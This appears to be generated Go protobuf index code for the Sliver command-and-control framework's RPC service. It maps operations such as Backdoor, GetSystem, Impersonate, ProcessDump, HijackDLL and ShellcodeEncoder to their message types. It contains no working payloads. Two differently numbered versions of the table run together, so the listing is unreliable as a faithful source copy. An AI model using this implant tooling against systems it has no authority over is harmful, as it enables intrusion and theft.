41, // 71: rpcpb.SliverRPC.Download:input_type -> sliverpb.DownloadReq
|
||||
42, // 72: rpcpb.SliverRPC.Upload:input_type -> sliverpb.UploadReq
|
||||
43, // 73: rpcpb.SliverRPC.ProcessDump:input_type -> sliverpb.ProcessDumpReq
|
||||
44, // 74: rpcpb.SliverRPC.RunAs:input_type -> sliverpb.RunAsReq
|
||||
45, // 75: rpcpb.SliverRPC.Impersonate:input_type -> sliverpb.ImpersonateReq
|
||||
46, // 76: rpcpb.SliverRPC.RevToSelf:input_type -> sliverpb.RevToSelfReq
|
||||
47, // 77: rpcpb.SliverRPC.GetSystem:input_type -> clientpb.GetSystemReq
|
||||
48, // 78: rpcpb.SliverRPC.Task:input_type -> sliverpb.TaskReq
|
||||
49, // 79: rpcpb.SliverRPC.Msf:input_type -> clientpb.MSFReq
|
||||
50, // 80: rpcpb.SliverRPC.MsfRemote:input_type -> clientpb.MSFRemoteReq
|
||||
51, // 81: rpcpb.SliverRPC.ExecuteAssembly:input_type -> sliverpb.ExecuteAssemblyReq
|
||||
52, // 82: rpcpb.SliverRPC.Migrate:input_type -> clientpb.MigrateReq
|
||||
53, // 83: rpcpb.SliverRPC.Execute:input_type -> sliverpb.ExecuteReq
|
||||
54, // 84: rpcpb.SliverRPC.ExecuteWindows:input_type -> sliverpb.ExecuteWindowsReq
|
||||
55, // 85: rpcpb.SliverRPC.Sideload:input_type -> sliverpb.SideloadReq
|
||||
56, // 86: rpcpb.SliverRPC.SpawnDll:input_type -> sliverpb.InvokeSpawnDllReq
|
||||
57, // 87: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq
|
||||
58, // 88: rpcpb.SliverRPC.CurrentTokenOwner:input_type -> sliverpb.CurrentTokenOwnerReq
|
||||
59, // 89: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq
|
||||
60, // 90: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq
|
||||
61, // 91: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq
|
||||
0, // 92: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty
|
||||
62, // 93: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq
|
||||
63, // 94: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq
|
||||
64, // 95: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq
|
||||
65, // 96: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq
|
||||
66, // 97: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq
|
||||
67, // 98: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq
|
||||
68, // 99: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq
|
||||
69, // 100: rpcpb.SliverRPC.Backdoor:input_type -> sliverpb.BackdoorReq
|
||||
70, // 101: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq
|
||||
71, // 102: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq
|
||||
72, // 103: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq
|
||||
73, // 104: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq
|
||||
74, // 105: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq
|
||||
75, // 106: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq
|
||||
76, // 107: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
|
||||
77, // 108: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
|
||||
78, // 109: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
|
||||
79, // 110: rpcpb.SliverRPC.StartRportFwdListener:input_type -> sliverpb.RportFwdStartListenerReq
|
||||
80, // 111: rpcpb.SliverRPC.GetRportFwdListeners:input_type -> sliverpb.RportFwdListenersReq
|
||||
81, // 112: rpcpb.SliverRPC.StopRportFwdListener:input_type -> sliverpb.RportFwdStopListenerReq
|
||||
82, // 113: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession
|
||||
83, // 114: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession
|
||||
84, // 115: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
|
||||
85, // 116: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
|
||||
86, // 117: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq
|
||||
87, // 118: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
|
||||
88, // 119: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
|
||||
89, // 120: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
|
||||
90, // 121: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
|
||||
91, // 122: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
|
||||
92, // 123: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
|
||||
93, // 124: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
|
||||
94, // 125: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
|
||||
95, // 126: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
|
||||
95, // 127: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
|
||||
96, // 128: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
|
||||
97, // 129: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
|
||||
97, // 130: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
|
||||
98, // 131: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
|
||||
0, // 132: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
|
||||
99, // 133: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
|
||||
100, // 134: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
|
||||
0, // 135: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
|
||||
101, // 136: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure
|
||||
0, // 137: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty
|
||||
102, // 138: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
|
||||
103, // 139: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
|
||||
4, // 140: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
|
||||
0, // 141: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
|
||||
104, // 142: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
|
||||
5, // 143: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
|
||||
5, // 144: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask
|
||||
105, // 145: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
|
||||
0, // 146: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
|
||||
106, // 147: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
|
||||
107, // 148: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
|
||||
108, // 149: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
|
||||
109, // 150: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
|
||||
110, // 151: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
|
||||
111, // 152: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
|
||||
111, // 153: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
|
||||
112, // 154: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
|
||||
112, // 155: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
|
||||
12, // 156: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
|
||||
0, // 157: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
|
||||
12, // 158: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
|
||||
12, // 159: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
|
||||
113, // 160: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
|
||||
113, // 161: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
|
||||
114, // 162: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
|
||||
13, // 163: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
|
||||
0, // 164: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
|
||||
0, // 165: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
|
||||
115, // 166: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
|
||||
116, // 167: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig
|
||||
0, // 168: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty
|
||||
116, // 169: rpcpb.SliverRPC.GenerateExternalGetImplantConfig:output_type -> clientpb.ExternalImplantConfig
|
||||
20, // 170: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event
|
||||
0, // 171: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty
|
||||
117, // 172: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders
|
||||
115, // 173: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
|
||||
118, // 174: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
|
||||
0, // 175: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
|
||||
119, // 176: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
|
||||
120, // 177: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
|
||||
121, // 178: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
|
||||
122, // 179: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
|
||||
0, // 180: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
|
||||
23, // 181: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
|
||||
123, // 182: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
|
||||
124, // 183: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
|
||||
125, // 184: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
|
||||
126, // 185: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode
|
||||
127, // 186: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap
|
||||
128, // 187: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
|
||||
27, // 188: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
|
||||
0, // 189: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
|
||||
27, // 190: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
|
||||
27, // 191: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
|
||||
27, // 192: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
|
||||
30, // 193: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
|
||||
129, // 194: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
|
||||
130, // 195: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
|
||||
131, // 196: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
|
||||
132, // 197: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
|
||||
133, // 198: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
|
||||
134, // 199: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
|
||||
134, // 200: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
|
||||
135, // 201: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv
|
||||
136, // 202: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
|
||||
137, // 203: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
|
||||
138, // 204: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
|
||||
139, // 205: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
|
||||
140, // 206: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
|
||||
141, // 207: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
|
||||
142, // 208: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
|
||||
143, // 209: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
|
||||
144, // 210: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
|
||||
145, // 211: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
|
||||
145, // 212: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
|
||||
145, // 213: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
|
||||
146, // 214: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
|
||||
147, // 215: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
|
||||
148, // 216: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
|
||||
148, // 217: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute
|
||||
149, // 218: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
|
||||
150, // 219: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
|
||||
151, // 220: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
|
||||
152, // 221: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner
|
||||
153, // 222: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
|
||||
0, // 223: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
|
||||
154, // 224: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
|
||||
155, // 225: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
|
||||
156, // 226: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
|
||||
156, // 227: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
|
||||
156, // 228: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
|
||||
157, // 229: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
|
||||
158, // 230: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
|
||||
159, // 231: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
|
||||
160, // 232: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
|
||||
161, // 233: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
|
||||
162, // 234: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
|
||||
163, // 235: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
|
||||
164, // 236: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
|
||||
165, // 237: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
|
||||
166, // 238: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
|
||||
167, // 239: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
|
||||
168, // 240: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
|
||||
169, // 241: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
|
||||
170, // 242: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
|
||||
171, // 243: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener
|
||||
172, // 244: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners
|
||||
171, // 245: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener
|
||||
82, // 246: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
|
||||
0, // 247: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
|
||||
173, // 248: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
|
||||
174, // 249: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
|
||||
175, // 250: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
|
||||
176, // 251: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
|
||||
176, // 252: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
|
||||
177, // 253: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
|
||||
177, // 254: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
|
||||
178, // 255: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
|
||||
179, // 256: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
|
||||
180, // 257: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
|
||||
181, // 258: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
|
||||
95, // 259: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
|
||||
0, // 260: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
|
||||
96, // 261: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
|
||||
97, // 262: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
|
||||
0, // 263: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
|
||||
98, // 264: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
|
||||
20, // 265: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
|
||||
133, // [133:266] is the sub-list for method output_type
|
||||
0, // [0:133] is the sub-list for method input_type
|
||||
43, // 73: rpcpb.SliverRPC.Chmod:input_type -> sliverpb.ChmodReq
|
||||
44, // 74: rpcpb.SliverRPC.Chown:input_type -> sliverpb.ChownReq
|
||||
45, // 75: rpcpb.SliverRPC.Chtimes:input_type -> sliverpb.ChtimesReq
|
||||
46, // 76: rpcpb.SliverRPC.ProcessDump:input_type -> sliverpb.ProcessDumpReq
|
||||
47, // 77: rpcpb.SliverRPC.RunAs:input_type -> sliverpb.RunAsReq
|
||||
48, // 78: rpcpb.SliverRPC.Impersonate:input_type -> sliverpb.ImpersonateReq
|
||||
49, // 79: rpcpb.SliverRPC.RevToSelf:input_type -> sliverpb.RevToSelfReq
|
||||
50, // 80: rpcpb.SliverRPC.GetSystem:input_type -> clientpb.GetSystemReq
|
||||
51, // 81: rpcpb.SliverRPC.Task:input_type -> sliverpb.TaskReq
|
||||
52, // 82: rpcpb.SliverRPC.Msf:input_type -> clientpb.MSFReq
|
||||
53, // 83: rpcpb.SliverRPC.MsfRemote:input_type -> clientpb.MSFRemoteReq
|
||||
54, // 84: rpcpb.SliverRPC.ExecuteAssembly:input_type -> sliverpb.ExecuteAssemblyReq
|
||||
55, // 85: rpcpb.SliverRPC.Migrate:input_type -> clientpb.MigrateReq
|
||||
56, // 86: rpcpb.SliverRPC.Execute:input_type -> sliverpb.ExecuteReq
|
||||
57, // 87: rpcpb.SliverRPC.ExecuteWindows:input_type -> sliverpb.ExecuteWindowsReq
|
||||
58, // 88: rpcpb.SliverRPC.Sideload:input_type -> sliverpb.SideloadReq
|
||||
59, // 89: rpcpb.SliverRPC.SpawnDll:input_type -> sliverpb.InvokeSpawnDllReq
|
||||
60, // 90: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq
|
||||
61, // 91: rpcpb.SliverRPC.CurrentTokenOwner:input_type -> sliverpb.CurrentTokenOwnerReq
|
||||
62, // 92: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq
|
||||
63, // 93: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq
|
||||
64, // 94: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq
|
||||
0, // 95: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty
|
||||
65, // 96: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq
|
||||
66, // 97: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq
|
||||
67, // 98: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq
|
||||
68, // 99: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq
|
||||
69, // 100: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq
|
||||
70, // 101: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq
|
||||
71, // 102: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq
|
||||
72, // 103: rpcpb.SliverRPC.Backdoor:input_type -> sliverpb.BackdoorReq
|
||||
73, // 104: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq
|
||||
74, // 105: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq
|
||||
75, // 106: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq
|
||||
76, // 107: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq
|
||||
77, // 108: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq
|
||||
78, // 109: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq
|
||||
79, // 110: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
|
||||
80, // 111: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
|
||||
81, // 112: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
|
||||
82, // 113: rpcpb.SliverRPC.StartRportFwdListener:input_type -> sliverpb.RportFwdStartListenerReq
|
||||
83, // 114: rpcpb.SliverRPC.GetRportFwdListeners:input_type -> sliverpb.RportFwdListenersReq
|
||||
84, // 115: rpcpb.SliverRPC.StopRportFwdListener:input_type -> sliverpb.RportFwdStopListenerReq
|
||||
85, // 116: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession
|
||||
86, // 117: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession
|
||||
87, // 118: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
|
||||
88, // 119: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
|
||||
89, // 120: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq
|
||||
90, // 121: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
|
||||
91, // 122: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
|
||||
92, // 123: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
|
||||
93, // 124: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
|
||||
94, // 125: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
|
||||
95, // 126: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
|
||||
96, // 127: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
|
||||
97, // 128: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
|
||||
98, // 129: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
|
||||
98, // 130: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
|
||||
99, // 131: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
|
||||
100, // 132: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
|
||||
100, // 133: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
|
||||
101, // 134: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
|
||||
0, // 135: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
|
||||
102, // 136: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
|
||||
103, // 137: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
|
||||
0, // 138: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
|
||||
104, // 139: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure
|
||||
0, // 140: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty
|
||||
105, // 141: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
|
||||
106, // 142: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
|
||||
4, // 143: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
|
||||
0, // 144: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
|
||||
107, // 145: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
|
||||
5, // 146: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
|
||||
5, // 147: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask
|
||||
108, // 148: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
|
||||
0, // 149: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
|
||||
109, // 150: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
|
||||
110, // 151: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
|
||||
111, // 152: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
|
||||
112, // 153: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
|
||||
113, // 154: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
|
||||
114, // 155: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
|
||||
114, // 156: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
|
||||
115, // 157: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
|
||||
115, // 158: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
|
||||
12, // 159: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
|
||||
0, // 160: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
|
||||
12, // 161: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
|
||||
12, // 162: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
|
||||
116, // 163: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
|
||||
116, // 164: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
|
||||
117, // 165: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
|
||||
13, // 166: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
|
||||
0, // 167: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
|
||||
0, // 168: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
|
||||
118, // 169: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
|
||||
119, // 170: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig
|
||||
0, // 171: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty
|
||||
119, // 172: rpcpb.SliverRPC.GenerateExternalGetImplantConfig:output_type -> clientpb.ExternalImplantConfig
|
||||
20, // 173: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event
|
||||
0, // 174: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty
|
||||
120, // 175: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders
|
||||
118, // 176: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
|
||||
121, // 177: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
|
||||
0, // 178: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
|
||||
122, // 179: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
|
||||
123, // 180: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
|
||||
124, // 181: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
|
||||
125, // 182: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
|
||||
